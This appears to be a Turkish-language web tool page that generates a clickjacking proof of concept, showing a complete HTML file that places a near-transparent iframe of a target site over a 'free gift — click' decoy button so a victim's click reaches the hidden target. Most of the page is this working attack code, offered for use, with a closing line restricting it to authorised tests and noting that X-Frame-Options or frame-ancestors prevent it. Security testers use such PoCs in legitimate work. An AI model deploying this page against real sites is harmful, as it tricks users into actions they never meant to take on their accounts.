Clickjacking PoC
Hedef URL ve decoy ayarlarını gir; çalışan bir clickjacking PoC HTML’i üretilsin. Hedef X-Frame-Options/frame-ancestors gönderiyorsa iframe’lenemez.
Clickjacking PoC
browser toolpoc.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Clickjacking PoC</title>
<style>
body { margin:0; font-family:system-ui,sans-serif; }
.decoy {
position:absolute; top:320px; left:40px;
z-index:1; padding:14px 22px; font-size:18px; font-weight:700;
background:#b6e34a; color:#0e0f11; border:0; border-radius:6px; cursor:pointer;
}
iframe {
position:absolute; top:0; left:0; width:100%; height:100vh;
opacity:0.1; z-index:2; border:0;
}
.hint { position:absolute; bottom:10px; left:10px; z-index:0; color:#888; font-size:12px; }
</style>
</head>
<body>
<button class="decoy">BEDAVA HEDIYE — TIKLA</button>
<iframe src="https://target.example"></iframe>
<p class="hint">PoC: opacity=0.1. Kurban görünen butona tıkladığını sanır; tıklama iframe'deki hedefe gider.</p>
</body>
</html>PoC HTML tarayıcıda üretilir. Hedef sayfa X-Frame-Options / frame-ancestors gönderiyorsa iframe'lenemez — bu zaten savunmadır. Yalnızca yetkili testlerde kullanın.